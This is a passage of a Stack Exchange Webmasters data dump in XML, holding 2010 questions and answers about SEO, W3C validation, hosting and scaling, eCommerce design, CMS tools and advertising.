and optimizing your&#xD;&#xA;   entire sales funnel.&#xD;&#xA; - Working on your conversion rates once&#xD;&#xA;   people get to your target page.&#xD;&#xA; - Using upsells and cross-promotions to&#xD;&#xA;   increase your profit margins.&#xD;&#xA; - Retaining and reselling to existing&#xD;&#xA;   customers.&#xD;&#xA; - Systemizing and then either&#xD;&#xA;   automating or delegating your&#xD;&#xA;   successful business practices.&#xD;&#xA;&#xD;&#xA;As a part of the successful SEO tactics pie, link exchanging isn't even one of the ingredients. What's more, SEO is only a very small part in the overall picture. Don't lose sight of that.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtuosimedia.com/business/marketing/why-you-cant-afford-to-link-exchange&#xD;&#xA;  [2]: http://www.virtuosimedia.com/business/tools/link-exchange-cost-calculator" />
  <row Id="14232" PostHistoryTypeId="2" PostId="7080" RevisionGUID="1b1f62cf-7a8f-46eb-b03c-dba9bd2f13a7" CreationDate="2010-12-24T18:30:55.650" UserId="4098" Text="I am designing my own eCommerce website. I have few queries on this:&#xD;&#xA;&#xD;&#xA; 1. Are the templates always the best option? Are these easy to customize?&#xD;&#xA; 2. Are there any FREE WYSIWYG web-page design tools that also automate CSS design? &#xD;&#xA; 3. I am going to use PHP and MySQL as back-end. What standards my website must comply so that it renders well on all popular browsers? Is there any good resource?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14233" PostHistoryTypeId="1" PostId="7080" RevisionGUID="1b1f62cf-7a8f-46eb-b03c-dba9bd2f13a7" CreationDate="2010-12-24T18:30:55.650" UserId="4098" Text="eCommerce website design concerns" />
  <row Id="14234" PostHistoryTypeId="3" PostId="7080" RevisionGUID="1b1f62cf-7a8f-46eb-b03c-dba9bd2f13a7" CreationDate="2010-12-24T18:30:55.650" UserId="4098" Text="&lt;website-design&gt;&lt;ecommerce&gt;" />
  <row Id="14235" PostHistoryTypeId="2" PostId="7082" RevisionGUID="d73e3e13-d303-422e-b4d6-e1a9cdf107be" CreationDate="2010-12-24T18:49:43.530" UserDisplayName="Webarto" Text="Short and sweet names cost much, you have to be creative about you domain name.&#xD;&#xA;At least buy gyropanda.com not gyropanda.co.cc&#xD;&#xA;&#xD;&#xA;I don't think anyone here will brainstorm your new domain name (at least not for free)." />
  <row Id="14236" PostHistoryTypeId="2" PostId="7081" RevisionGUID="53e26180-5554-4c8f-b385-3bb7ee620724" CreationDate="2010-12-24T18:47:23.033" UserDisplayName="Seth" Text="I am getting a paid host tommorow. &#xD;&#xA;&#xD;&#xA;My website is a social network/forum. Its name is 'gyropanda'..&#xD;&#xA;Can you give me some suggestions of a better name for my site, or if you like the current one? &#xD;&#xA;I like short and sweet names.. I can't really seem to think of a good name.. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="14237" PostHistoryTypeId="1" PostId="7081" RevisionGUID="53e26180-5554-4c8f-b385-3bb7ee620724" CreationDate="2010-12-24T18:47:23.033" UserDisplayName="Seth" Text="What do you think..?" />
  <row Id="14238" PostHistoryTypeId="3" PostId="7081" RevisionGUID="53e26180-5554-4c8f-b385-3bb7ee620724" CreationDate="2010-12-24T18:47:23.033" UserDisplayName="Seth" Text="&lt;websites&gt;&lt;domains&gt;&lt;host&gt;&lt;idea&gt;" />
  <row Id="14239" PostHistoryTypeId="17" PostId="7081" RevisionGUID="8d150be6-9788-49c0-a919-b53cec54db53" CreationDate="2010-12-24T19:18:04.110" UserId="-1" Comment="from http://stackoverflow.com/questions/4527860/what-do-you-think" Text="" />
  <row Id="14240" PostHistoryTypeId="2" PostId="7083" RevisionGUID="3d0e710f-14ef-44ee-b81c-ef67859343aa" CreationDate="2010-12-24T19:29:08.170" UserId="2595" Text="This is a rather large set of questions that really doesn't have an easy set of answers. First off, if you are looking for a WYSIWYG editor for the HTML/CSS I am going to assume it's because you're not comfortable with the two. If this is the case then designing an e-commerce site on your own probably isn't quite in your reach yet (I could be wrong, but this is just my opinion). Second the PHP/MYSQL isn't so much what controls how anything will look on a browser. It is how you display the data returned from these technologies with the HTML/CSS that will control this. You need to know that making a good and secure e-commerce website will require an advanced working knowledge of the two and isn't something that can just be done as a beginner project (I'm not sure what your experience with the two are). And thirdly templates are easy to edit as long as you are comfortable editing CSS/HTML. If you're not comfortable editing those then no, they are not easy to edit :)  " />
  <row Id="14241" PostHistoryTypeId="2" PostId="7084" RevisionGUID="bd8cbeb0-38e8-4733-998d-4de5e07dd200" CreationDate="2010-12-24T20:45:08.213" UserId="2332" Text="I do my own hosting for a few clients on my own VPS server (Lindode).  Since my clients so far have been extremely low traffic, I have not had to really dig into some of the considerations that I would need for a higher traffic site.  Now I am bidding on a client whose site will be potentially higher (not Facebook or twitter, but higher than Joe's ice cream shop).  Is there a list of things I need to think about that I may be missing?&#xD;&#xA;&#xD;&#xA;I am going to assume, at least at first, that I will be able to handle them on my shared Linode, but I could move to a dedicated Linode if need be.  I am not thinking so far of multiple servers, but short of that there are still considerations.  For example, mod_perl instead of straight CGI, better backups, etc.   What else?&#xD;&#xA;&#xD;&#xA;In case it matters, the stack will be debian-linux / apache / Perl / mysql / Template Toolkit." />
  <row Id="14242" PostHistoryTypeId="1" PostId="7084" RevisionGUID="bd8cbeb0-38e8-4733-998d-4de5e07dd200" CreationDate="2010-12-24T20:45:08.213" UserId="2332" Text="list of things to think about for hosting a potentially high traffic website" />
  <row Id="14243" PostHistoryTypeId="3" PostId="7084" RevisionGUID="bd8cbeb0-38e8-4733-998d-4de5e07dd200" CreationDate="2010-12-24T20:45:08.213" UserId="2332" Text="&lt;web-hosting&gt;" />
  <row Id="14244" PostHistoryTypeId="2" PostId="7085" RevisionGUID="e0a5deda-bec2-4798-bdaf-ada1afb01e0b" CreationDate="2010-12-24T22:15:36.183" UserDisplayName="elfintar" Text="I'm building a site that I plan to grow to the size of SO.&#xD;&#xA;&#xD;&#xA;I'm only planning to have one prodcuction server to start off with. This will host everything including the database.&#xD;&#xA;&#xD;&#xA;I know it's very hard to say but am I likely to run into trouble quickly (if the site takes off) and if this is the case should I start out with more than one server so I can load balance everything from day 1?&#xD;&#xA;&#xD;&#xA;If no, should I be looking for something a little bigger than this spec?:&#xD;&#xA;http://www.123-reg.co.uk/dedicated-server-hosting/" />
  <row Id="14245" PostHistoryTypeId="1" PostId="7085" RevisionGUID="e0a5deda-bec2-4798-bdaf-ada1afb01e0b" CreationDate="2010-12-24T22:15:36.183" UserDisplayName="elfintar" Text="How many production servers should I start with?" />
  <row Id="14246" PostHistoryTypeId="3" PostId="7085" RevisionGUID="e0a5deda-bec2-4798-bdaf-ada1afb01e0b" CreationDate="2010-12-24T22:15:36.183" UserDisplayName="elfintar" Text="&lt;server&gt;&lt;scalability&gt;" />
  <row Id="14247" PostHistoryTypeId="17" PostId="7085" RevisionGUID="156e0d9f-0c6f-43ca-a6e8-0141b15a697d" CreationDate="2010-12-24T22:24:07.673" UserId="-1" Comment="from http://stackoverflow.com/questions/4528540/how-many-production-servers-should-i-start-with" Text="" />
  <row Id="14248" PostHistoryTypeId="2" PostId="7086" RevisionGUID="87e52819-4870-4575-8596-fc9c1c0123f2" CreationDate="2010-12-24T22:32:44.600" UserId="1757" Text="Do you know roughly how much traffic the site will have? You should try to find out, and then do a load test on your application and server to see if it can handle it. There are [various][1] [free tools][2] for this.&#xD;&#xA;&#xD;&#xA;You will probably also want to take a look at MySQL's [Slow Query Log][3] to see which of your database queries can be optimized.&#xD;&#xA;&#xD;&#xA;Additionally, I'd do some tests with your application to see if FastCGI will perform better than mod_perl. Memcached and APC should also be considered. And make sure your MySQL query cache is set to the optimal size for your server.&#xD;&#xA;&#xD;&#xA;There are also other high performance tweaks you can make to reduce the load on your server. For example, sharding or partitioning ([don't do this unless you really need to][4]) or setting a lighttp or nginx server for static content.&#xD;&#xA;&#xD;&#xA;Aside from that, you may want to consider switching to cloud hosting or a VPS provider with auto-scaling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.mysql.com/doc/refman/5.5/en/mysqlslap.html&#xD;&#xA;  [2]: http://stackoverflow.com/questions/3338220/how-to-simulate-high-traffic-load-on-a-web-application&#xD;&#xA;  [3]: http://dev.mysql.com/doc/refman/5.0/en/slow-query-log.html&#xD;&#xA;  [4]: http://www.mysqlperformanceblog.com/2009/08/06/why-you-dont-want-to-shard/" />
  <row Id="14249" PostHistoryTypeId="10" PostId="7081" RevisionGUID="eb18fd49-65d2-44af-9e96-379c2c43b24d" CreationDate="2010-12-25T01:15:20.560" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14250" PostHistoryTypeId="2" PostId="7087" RevisionGUID="48ede2a6-7830-4f01-9767-7f2b20b4ab8f" CreationDate="2010-12-25T12:24:04.373" UserDisplayName="JP19" Text="Getting more than one dedicated server for starting a site (no matter if you expect it to grow to size of SO over time) would be a waste. (Consider that SO itself has taken years to grow to its present size). &#xD;&#xA;&#xD;&#xA;I would even suggest start with a VPS (virtual private server). If there are even the slightest hint of growth, you can go for dedicated.&#xD;&#xA;&#xD;&#xA;You might have heard of cloud computing. It works out better (cost and ease of scaling) in the long run for *some* type of high traffic sites but is more expensive (both in terms of cost and bootstrapping time) to start off with it." />
  <row Id="14251" PostHistoryTypeId="5" PostId="7087" RevisionGUID="603a3322-7a34-4c69-8d44-e67066f39ba9" CreationDate="2010-12-25T12:36:09.400" UserDisplayName="JP19" Comment="alexa graph suggestion" Text="Getting more than one dedicated server for starting a site (no matter if you expect it to grow to size of SO over time) would be a waste. (Consider that SO itself has taken years to grow to its present size). &#xD;&#xA;&#xD;&#xA;I would even suggest start with a VPS (virtual private server). If there are even the slightest hint of growth, you can go for dedicated.&#xD;&#xA;&#xD;&#xA;You might have heard of cloud computing. It works out better (cost and ease of scaling) in the long run for *some* type of high traffic sites but is more expensive (both in terms of cost and bootstrapping time) to start off with it.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Might be interesting and even helpful to you: Check out the Alexa traffic history graph of stackoverflow: http://www.alexa.com/siteinfo/stackoverflow.com# (mind you these are not accurate for small sites but fairly okay for large sites). Go to **Reach** or **TrafficRank** or **PageViews** and select **Max** in the drop down menu to see the nice, rapidly increasing curve from 2009 to 2010. If you are really curious, you can check out graphs for some recently successful  web startups.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14255" PostHistoryTypeId="2" PostId="7089" RevisionGUID="e913b7fd-2a37-4eb5-951c-d246728ab06a" CreationDate="2010-12-25T16:27:00.533" UserId="1757" Text="IMO, a production web server should not be running Ubuntu (even the server edition). I'd personally go with a scalable VPS like Rackspace or a cloud hosting provider like Amazon EC2 so you can easily allocate more resources as your needs grow or accommodate unexpected sudden traffic spikes.&#xD;&#xA;&#xD;&#xA;That server looks fine to me, but without any knowledge of traffic expectations or info about the kind of application the site will be running, that doesn't really mean much. A server like that could serve 10,000 pages per second with one application but might only manage 100 requests per second with another application." />
  <row Id="14256" PostHistoryTypeId="2" PostId="7090" RevisionGUID="f9ecb0ac-c683-4c86-a444-c8f45c199e86" CreationDate="2010-12-25T19:18:11.427" UserDisplayName="Bill" Text="Unlimited? good luck with that one. There are no hosting providers with unlimited space and bandwidth. This is just slang mouthy language that is blurted out all the time. In this life, everything has a limit. You had better start reading the fine print or you will eventually find yourself in a pickle." />
  <row Id="14257" PostHistoryTypeId="2" PostId="7091" RevisionGUID="3fa27c25-a7e1-400b-94dd-3809dcaccaa9" CreationDate="2010-12-25T20:09:26.327" UserId="3857" Text="grab the copy of www.magentocommerce.com customize the skin and take a few weeks off" />
  <row Id="14258" PostHistoryTypeId="2" PostId="7092" RevisionGUID="edbb9402-d436-41ba-9fa9-b4b912a2cfa1" CreationDate="2010-12-25T22:14:58.893" UserDisplayName="Najee Khan" Text="In my opinion, Google Instant Search is a big help to internet marketers / SEO specialists. Saves you time, you get an idea of what people are searching for and how to and how Not to structure their pages.&#xD;&#xA;&#xD;&#xA;I created a small video about it at &#xD;&#xA;http://bloggerkhan.com/how-google-instant-search-affects-seo/164&#xD;&#xA;&#xD;&#xA;See if it helps." />
  <row Id="14259" PostHistoryTypeId="2" PostId="7093" RevisionGUID="aad0e9fb-b5ff-49b2-944f-4b3886ce53b5" CreationDate="2010-12-26T00:01:37.473" UserId="4108" Text="I am currently a CS student and an aspiring programmer/web developer. I am wondering whether it is worth taking the time to master html and css to make websites when these CMS services/wysiwyg editors (wordpress, squarespace) seem to be becoming more and more functional. Does anyone think these publishing services might eventually make the need to design websites from raw code unnecessary? If not, please explain why. If designing a website eventually becomes as simple as using Photoshop I would much rather invest my time in programming languages." />
  <row Id="14260" PostHistoryTypeId="1" PostId="7093" RevisionGUID="aad0e9fb-b5ff-49b2-944f-4b3886ce53b5" CreationDate="2010-12-26T00:01:37.473" UserId="4108" Text="html/css vs CMS" />
  <row Id="14261" PostHistoryTypeId="3" PostId="7093" RevisionGUID="aad0e9fb-b5ff-49b2-944f-4b3886ce53b5" CreationDate="2010-12-26T00:01:37.473" UserId="4108" Text="&lt;html&gt;&lt;css&gt;&lt;cms&gt;" />
  <row Id="14262" PostHistoryTypeId="2" PostId="7094" RevisionGUID="5a5b9e16-d8f4-4dc8-b048-2d46acd49c9e" CreationDate="2010-12-26T00:35:41.240" UserId="3707" Text="I can't imagine myself using wysiwyg for css and html. If you like to learn to DESIGN you gotta know the 'backend' 'messy' part.&#xD;&#xA;&#xD;&#xA;Wysiwyg is ok if you are not building something robust.&#xD;&#xA;&#xD;&#xA;but definitely invest your time in programming languages. thats the engine." />
  <row Id="14263" PostHistoryTypeId="2" PostId="7095" RevisionGUID="a5615275-da0e-4bc5-be80-e03db1dc067c" CreationDate="2010-12-26T01:19:16.317" UserId="4109" Text="HTML/CSS can in no way be compared to a CMS(content management system).&#xD;&#xA;You could maybe compare learing PHP vs using CMS, but that would't be very correct either.&#xD;&#xA;CMS's are used to manage the content of your website, so it's helpful, because you don't need to write any code or think about database table relations etc.&#xD;&#xA;&#xD;&#xA;If you want to focus on designing pages, learn HTML and CSS. If you're more into creating dynamic web applications, you can use a CMS, but I would recommend learning PHP as well, as you will surely need to adjust you website sooner or later and won't be able to do it without any PHP knowledge." />
  <row Id="14264" PostHistoryTypeId="2" PostId="7096" RevisionGUID="71f59187-a28a-48ed-b940-d539d828934b" CreationDate="2010-12-26T01:29:15.250" UserId="4109" Text="Is there any advertisement system (like AdSense) that would allow me to encourage the visitors on my page to click the ad?&#xD;&#xA;&#xD;&#xA;The pay doesn't need to be as high as in AdSense, it's only important that I'm not braking the rules by doing so.&#xD;&#xA;" />
  <row Id="14265" PostHistoryTypeId="1" PostId="7096" RevisionGUID="71f59187-a28a-48ed-b940-d539d828934b" CreationDate="2010-12-26T01:29:15.250" UserId="4109" Text="Advertisement system with allowed click encouragement" />
  <row Id="14266" PostHistoryTypeId="3" PostId="7096" RevisionGUID="71f59187-a28a-48ed-b940-d539d828934b" CreationDate="2010-12-26T01:29:15.250" UserId="4109" Text="&lt;google-adsense&gt;&lt;ads&gt;" />
  <row Id="14267" PostHistoryTypeId="2" PostId="7097" RevisionGUID="0c073dd2-e3f0-478f-a95c-45177c76456d" CreationDate="2010-12-26T01:48:40.547" UserDisplayName="blagga" Text="Where can I find a List of the top 10,000 keyword search queries?" />
  <row Id="14268" PostHistoryTypeId="1" PostId="7097" RevisionGUID="0c073dd2-e3f0-478f-a95c-45177c76456d" CreationDate="2010-12-26T01:48:40.547" UserDisplayName="blagga" Text="Where can I find a List of the top 10,000 keyword search queries" />
  <row Id="14269" PostHistoryTypeId="3" PostId="7097" RevisionGUID="0c073dd2-e3f0-478f-a95c-45177c76456d" CreationDate="2010-12-26T01:48:40.547" UserDisplayName="blagga" Text="&lt;google&gt;&lt;yahoo&gt;&lt;google-search&gt;" />
  <row Id="14270" PostHistoryTypeId="6" PostId="7097" RevisionGUID="8e11ca0b-7dbb-466b-84d3-d0d75804b4bf" CreationDate="2010-12-26T02:17:41.483" UserId="1253" Comment="Removed &quot;google yahoo google-search&quot; tags. Added &quot;search keywords&quot;" Text="&lt;keywords&gt;&lt;search&gt;" />
  <row Id="14271" PostHistoryTypeId="2" PostId="7098" RevisionGUID="e1f2368d-7c8a-4e0e-80ed-248ec0087928" CreationDate="2010-12-26T02:19:20.683" UserId="1064" Text="[Commission Junction][1] encourages affiliate relationships which might be closer to what you're looking for (i.e. advertising integrated with your site content) though you should look at the disclosures necessary to comply with [FTC guidelines][2] if you are operating in the United States.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cj.com/&#xD;&#xA;  [2]: http://www.ftc.gov/bcp/edu/pubs/business/adv/bus71.shtm" />
  <row Id="14272" PostHistoryTypeId="2" PostId="7099" RevisionGUID="1a42d193-a06a-46e0-b8a0-6faf351701cb" CreationDate="2010-12-26T02:32:25.663" UserId="1757" Text="WYSIWYG editors might make it easy to write content without knowing HTML/CSS, but that's about it. You still need to know HTML &amp; CSS in order to create templates for Wordpress or Squarespace. And WYSIWYG editors are usually poor at handling complex layouts. At best, you'd still have to go back and clean up the generated code.&#xD;&#xA;&#xD;&#xA;If you partner up with a front-end developer/designer, then you could get away with only knowing HTML, a server-side language, and basic CSS. If you want to focus on web design, you could even get away with knowing no programming at all. But then you'd have to partner up with a developer who does and can implement your designs. Naturally, it helps if you understand the capabilities and limitations of HTML/CSS.&#xD;&#xA;&#xD;&#xA;Another thing to consider is this, most services like Squarespace are much more expensive than the equivalent web hosting plan. You'd likely be paying more than double what you'd pay at a good web host.&#xD;&#xA;&#xD;&#xA;For example, you can get a shared hosting account with unlimited domains for roughly $10/month. At work we have DreamHost account with 10+ sites setup on it. You'd need to pay at least $200/month for the equivalent service on SquareSpace, and you'd still end up with less flexibility and need to go with another service if you needed to build an e-commerce site.&#xD;&#xA;&#xD;&#xA;There's no such thing as a free lunch. The less you know and the more you need others to do for you, the more you have to spend for the same results. Sites like Squarespace basically have you outsource web development to them. From a web developer's point of view, that makes little to no sense. It's only a good deal if you're a non-technical person (e.g. a musician, an artist, a designer, etc.) who doesn't want to shop for and pay a web developer. That makes sense. But it doesn't make sense to pay a web developer just so they can refer you to Squarespace." />
  <row Id="14273" PostHistoryTypeId="2" PostId="7101" RevisionGUID="492ad199-63cc-4247-bd4d-c9c9d49f1fd6" CreationDate="2010-12-25T17:34:06.640" UserId="4095" Text="[Good article][1] about W3C and Google.&#xD;&#xA;&#xD;&#xA;  [1]: http://yoast.com/w3c-validation-seo/" />
  <row Id="14274" PostHistoryTypeId="2" PostId="7102" RevisionGUID="2871e974-cf0f-470b-925a-a72b82285a76" CreationDate="2010-12-25T17:40:10.437" UserId="3998" Text="&gt; So my first thought is, what good is that validator when it always displays errors?&#xD;&#xA;&#xD;&#xA;Great question! The validator checks the markup syntax against the [W3C](http://www.w3.org/TR/) specification, which these days is either HTML or XHTML. It is perfect (or near-perfect, although I haven't found any major errors in its checking) in the sense that it will tell you that you have *technically* invalid markup. &#xD;&#xA;&#xD;&#xA;Nevertheless, invalid markup in practice is not game over. Think of W3C standards as a very strict specification of a specific dialect of English. When a browser is developed with the specifications in mind, think of it as going to a school in that dialect, leaning the proper way to speak, read, listen to, and comprehend this dialect of English. In practice, this browser also goes out to the playground and travels the world and learns to understand slight modifications on the standard convention. The browser also watches old movies, so it learns how to understand &quot;older&quot; syntax and vocabulary, even though it wasn't strictly taught in school (in the specification). Some browsers (most notably IE &lt;9) had parents (developers) who felt that the regular curriculum could be revised to make a better browser, so they got sent to a completely different private school. At the end of the day, you get different browsers understanding different languages. Each of them also have very generous &quot;fudge&quot; factors. Just like you know what someone means when they slur their speech or include typos, browsers do the same. Even more often, people or communities devise innovative ways to speak (write markup) that browsers happen to understand despite not having been formally trained it in in school (under the specification). At that point, you get a lot of non-standards compliant code that still works in practice.&#xD;&#xA;&#xD;&#xA;&gt; Secondly, will the errors affect my SERP ranking? ie, will me fixing these errors as good as I can increase my Google search position?&#xD;&#xA;&#xD;&#xA;Google [recommends](http://www.google.com/support/webmasters/bin/answer.py?answer=35769&amp;hl=en) compliant markup, but there is almost no conclusive evidence one way or another aside from cases where experimenters mangle their markup so severely that the content doesn't even display properly. This is likely because Google's own crawler is versed not only in the standard specification, but also in all of the dialects including those casual and old. It also had a lot of fudge-compensating mechanisms to make up for small &quot;mistakes&quot;.&#xD;&#xA;&#xD;&#xA;At the end of the day, try your hardest to have valid markup if you can. It is entirely possible to do so if you make it a priority. In my experience, by the time that you're advanced enough to break the rules (which I know I am not), you know enough about the rules and the parsing and display implications that your original question isn't a question at all." />
  <row Id="14275" PostHistoryTypeId="2" PostId="7103" RevisionGUID="4971d821-6c87-43ce-9b0c-10058509464e" CreationDate="2010-12-25T17:44:44.463" UserDisplayName="Slawek" Text="It isn't a factor at all. HTML is very flexible language, there is no problem with doing something like this&#xD;&#xA;&#xD;&#xA;    &lt; ul &gt;&#xD;&#xA;     &lt; li &gt;&lt; a xtooltip='Go to homepage' href='index.php' &gt;Home&lt; /a &gt;&lt; /li &gt;&#xD;&#xA;    &lt; /ul &gt;&#xD;&#xA;&#xD;&#xA;Then you just use your favorite javascript engine and have nice menu with tooltips. Of course it won't validate.&#xD;&#xA;&#xD;&#xA;The other thing is that W3C validator is broken unfortunately. It can't validate content-type, js code, js code html output, ajax, to name a few. Besides not checking content-type is a serious flaw. If you have XHTML DOCTYPE but content-type: text/html you should validate against HTML, most people will validate (incorrectly) against XHTML and then fix &quot;errors&quot;... like changing&#xD;&#xA;&#xD;&#xA;[br] =&gt; [br /]&#xD;&#xA;&#xD;&#xA;but [br /] is an error in HTML... so they do what validator incorrectly tells them to, and all they do is adding bugs to their code." />
  <row Id="14276" PostHistoryTypeId="2" PostId="7104" RevisionGUID="a4714cec-6ccd-4bc6-a82a-a350128112e3" CreationDate="2010-12-25T18:27:58.327" UserDisplayName="lurkit" Text="It won't affect your SERP rankings. From the official YouTube channel for Google Webmaster Central:&#xD;&#xA;&#xD;&#xA;&gt; And so we don't give any sort of boost&#xD;&#xA;&gt; to pages if they validate. It may be a&#xD;&#xA;&gt; nice thing to do for your own internal&#xD;&#xA;&gt; purposes, but it doesn't get any sort&#xD;&#xA;&gt; of Google boosting in your rank or&#xD;&#xA;&gt; anything like that. And the simple&#xD;&#xA;&gt; reason is that the vast majority of&#xD;&#xA;&gt; pages on the web don't validate as it&#xD;&#xA;&gt; is right now.&#xD;&#xA;&#xD;&#xA;http://www.youtube.com/watch?v=FPBACTS-tyg&#xD;&#xA;&#xD;&#xA;It is still a good idea to validate your page though, as it will make the code less error prone and easier to maintain." />
  <row Id="14277" PostHistoryTypeId="2" PostId="7105" RevisionGUID="d826afef-7e8b-4baa-9faf-4569d526d663" CreationDate="2010-12-25T18:45:26.140" UserDisplayName="cbrandolino" Text="**Does validating boost my results?** &#xD;&#xA;&#xD;&#xA;No.&#xD;&#xA;&#xD;&#xA;**what good is that validator when it always displays errors?** &#xD;&#xA;&#xD;&#xA;It does not always display errors. It displays errors where there are errors. Which leads to what your question should have been, that is:&#xD;&#xA;&#xD;&#xA;**Does writing horrible, invalid HTML do me harm?**&#xD;&#xA;&#xD;&#xA;And... Yes. It does you harm because you'll have lots of browser incompatibilities; because nobody that ever hired me for front-end would hire you; because it's likely to break DOM-related processing; because your accessibility will suck and will cut off a good 2% of the human population; because rankings aren't handicapped by lack of validity per se, but are surely helped by a meaningful, orderly code.&#xD;&#xA;&#xD;&#xA;Not over yet: it's not only bad for you, it's bad for all of us and we should blame you. Because nice web services you use daily rely on standards, and if their development is slow and they can't reach their potentials it's because of *you*, sloppy markupper.&#xD;&#xA;&#xD;&#xA;Every day, when you wake up and realise the web is not the perfectly architectured network of semantic relationships that it should be already, you will have give us all your apologies.&#xD;&#xA;&#xD;&#xA;Also happy holidays." />
  <row Id="14278" PostHistoryTypeId="2" PostId="7100" RevisionGUID="f49e04f9-6450-4b25-a986-0f120a240fdc" CreationDate="2010-12-25T17:23:17.877" UserId="2312" Text="I have a dynamic php website which index only has around 800 errors according to the w3 validator online.&#xD;&#xA;&#xD;&#xA;I have tried checking major websites like ebay, stackoverflow and others also, all with around 400 errors.&#xD;&#xA;&#xD;&#xA;So my first thought is, what good is that validator when it always displays errors?&#xD;&#xA;&#xD;&#xA;Secondly, will the errors affect my SERP ranking? ie, will me fixing these errors as good as I can increase my Google search position?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="14279" PostHistoryTypeId="1" PostId="7100" RevisionGUID="f49e04f9-6450-4b25-a986-0f120a240fdc" CreationDate="2010-12-25T17:23:17.877" UserId="2312" Text="Is the W3 standard a major factor when google decides SERP position?" />
  <row Id="14280" PostHistoryTypeId="3" PostId="7100" RevisionGUID="f49e04f9-6450-4b25-a986-0f120a240fdc" CreationDate="2010-12-25T17:23:17.877" UserId="2312" Text="&lt;php&gt;&lt;html&gt;&lt;search&gt;&lt;google&gt;&lt;browser&gt;" />
  <row Id="14281" PostHistoryTypeId="17" PostId="7100" RevisionGUID="3ae44983-6099-4029-95b4-5713400a2576" CreationDate="2010-12-26T03:46:31.537" UserId="-1" Comment="from http://stackoverflow.com/questions/4530970/is-the-w3-standard-a-major-factor-when-google-decides-serp-position" Text="" />
  <row Id="14282" PostHistoryTypeId="2" PostId="7106" RevisionGUID="25a5d17c-7cd0-4025-9e0f-904f9f8a984d" CreationDate="2010-12-26T03:55:04.190" UserId="1064" Text="[Google Insights for Search][1] will give you the top 50 for a specific country, however, that's probably about as much as you'll get directly from a search engine.&#xD;&#xA;&#xD;&#xA;**Edit:** You have to select the &quot;Download as CSV&quot; option to get all 50 searches (Insights is still in beta, though, so I'd expect some interface changes over time).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/insights/search/" />
  <row Id="14283" PostHistoryTypeId="2" PostId="7107" RevisionGUID="31c76664-1a2d-44d1-965b-dd891a8d017d" CreationDate="2010-12-26T04:23:15.697" UserId="2332" Text="I found a good solution... write a Perl script using this module:&#xD;&#xA;&#xD;&#xA;http://search.cpan.org/~ebosrup/RSS-Parser-Lite-0.10/lib/XML/RSS/Parser/Lite.pm&#xD;&#xA;&#xD;&#xA;to parse the RSS feeds described here:&#xD;&#xA;&#xD;&#xA;http://www.youtube.com/rssls" />
  <row Id="14284" PostHistoryTypeId="2" PostId="7108" RevisionGUID="fc1c469e-edb8-4605-b6c1-f22661c37692" CreationDate="2010-12-26T10:39:26.273" UserDisplayName="Elad" Text="I use Ads [Captcha][1]. It's neat, simple and effactive, but more than that: it uses Ads as the captchas. So everytime someone comments, i make money. it's a great benefit, since i'd use some captcha anyway.&#xD;&#xA;in spam prevention manners: it reduced my spam to 0.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adscaptcha.com" />
  <row Id="14285" PostHistoryTypeId="2" PostId="7109" RevisionGUID="e6daaff0-f14c-46c4-93e8-fed20d928ded" CreationDate="2010-12-26T11:54:03.343" UserId="4115" Text="Let's suppose that someone is interested in starting a website that might be in violation of some US laws (such as copyright, gambling, pornography, etc.). I know this question isn't in the best taste, so I can understand if it is closed or deleted. Please consider, however, that not everything against US law is considered immoral or unethical to some people.&#xD;&#xA;&#xD;&#xA;I was reading how many online poker services are based in the Cayman Islands to get around US law. Are there other countries with good hosting services to avoid prosecution by US law? Many laws enforceable in the US are also enforceable in many other jurisdictions (copyright for one), so it would be interesting to know if there are safe havens for sensitive websites." />
  <row Id="14286" PostHistoryTypeId="1" PostId="7109" RevisionGUID="e6daaff0-f14c-46c4-93e8-fed20d928ded" CreationDate="2010-12-26T11:54:03.343" UserId="4115" Text="Getting around US law" />
  <row Id="14287" PostHistoryTypeId="3" PostId="7109" RevisionGUID="e6daaff0-f14c-46c4-93e8-fed20d928ded" CreationDate="2010-12-26T11:54:03.343" UserId="4115" Text="&lt;web-hosting&gt;&lt;law&gt;" />
  <row Id="14291" PostHistoryTypeId="2" PostId="7111" RevisionGUID="90efea04-22b9-4a9c-b978-61522a957112" CreationDate="2010-12-26T15:54:07.733" UserId="1064" Text="You need to talk to a lawyer (preferably one who is willing to represent you *pro bono* if the advice he or she gives you is not accurate)." />
  <row Id="14295" PostHistoryTypeId="6" PostId="7100" RevisionGUID="c8fac07d-4c14-43b5-b939-45954a95cf30" CreationDate="2010-12-26T16:06:56.843" UserId="1253" Comment="Removed php, browser tags, added seo" Text="&lt;seo&gt;&lt;google&gt;&lt;html&gt;&lt;search&gt;" />
  <row Id="14296" PostHistoryTypeId="2" PostId="7112" RevisionGUID="60e26ddf-5a89-4fea-bbea-e23f7d4ceb41" CreationDate="2010-12-26T16:42:50.127" UserId="1993" Text="I found **[Lockdown][1]** works really well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediawiki.org/wiki/Extension:Lockdown" />
  <row Id="14297" PostHistoryTypeId="10" PostId="6932" RevisionGUID="6a9475ac-00dc-4ed9-aefd-83d70d1e96a6" CreationDate="2010-12-26T20:30:55.910" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14298" PostHistoryTypeId="2" PostId="7113" RevisionGUID="b50d8044-9175-436e-b9c0-1a8869e37cc8" CreationDate="2010-12-26T21:00:30.393" UserId="210" Text="I wasn't sure which site to ask this on (as Graphic Design hasn't reached beta yet), so I thought I would try here.&#xD;&#xA;&#xD;&#xA;I'm looking to have a couple logos and website designs done. I've had some great local designers, but each one has moved or gone else where so I keep having to look for new designers. My thought and realization in the last couple days is to go to a cloud source design site like cloudspring.com or mycroburst.com. &#xD;&#xA;&#xD;&#xA;Both of these sites look good, but I'm wondering what else is out there? Are there better ones and how have your experiences been them?" />
